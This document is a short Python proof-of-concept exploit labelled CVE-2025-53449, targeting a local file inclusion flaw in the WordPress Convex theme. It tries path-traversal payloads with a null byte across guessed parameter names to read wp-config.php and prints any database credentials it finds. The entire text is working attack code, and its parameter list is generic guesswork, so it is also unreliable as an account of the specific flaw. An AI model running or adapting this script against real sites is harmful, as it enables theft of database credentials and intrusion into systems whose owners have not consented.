CVE-2025-53449

import requests # CVE-2025-53449 PoC - WordPress Convex Theme LFI # Target: WordPress site with Convex theme <= 1.11 def exploit_lfi(target_url, filename='wp-config.php'): """ Exploit Local File Inclusion vulnerability in Convex theme """ # Common vulnerable parameters in Convex theme vulnerable_params = [ 'template', 'page', 'file', 'path', 'action', 'load', 'view' ] # Path traversal payload to read local files payload = f'../../../../../../../../{filename}%00' print(f'[*] Target: {target_url}') print(f'[*] Attempting to read: {filename}') for param in vulnerable_params: try: # Try common WordPress theme file inclusion patterns urls = [ f'{target_url}/?{param}={payload}', f'{target_url}/?{param}={payload}.php' ] for url in urls: response = requests.get(url, timeout=10) # Check for successful file read if response.status_code == 200: if 'DB_NAME' in response.text or '<?php' in response.text: print(f'[+] VULNERABLE! Parameter: {param}') print(f'[+] URL: {url}') print(f'[+] Content preview:') print(response.text[:500]) return True except requests.RequestException as e: print(f'[-] Error testing {param}: {e}') print('[-] Exploitation failed or target not vulnerable') return False # Example usage if __name__ == '__main__': target = 'http://target-site.com/wp-content/themes/convex' exploit_lfi(target, 'wp-config.php')

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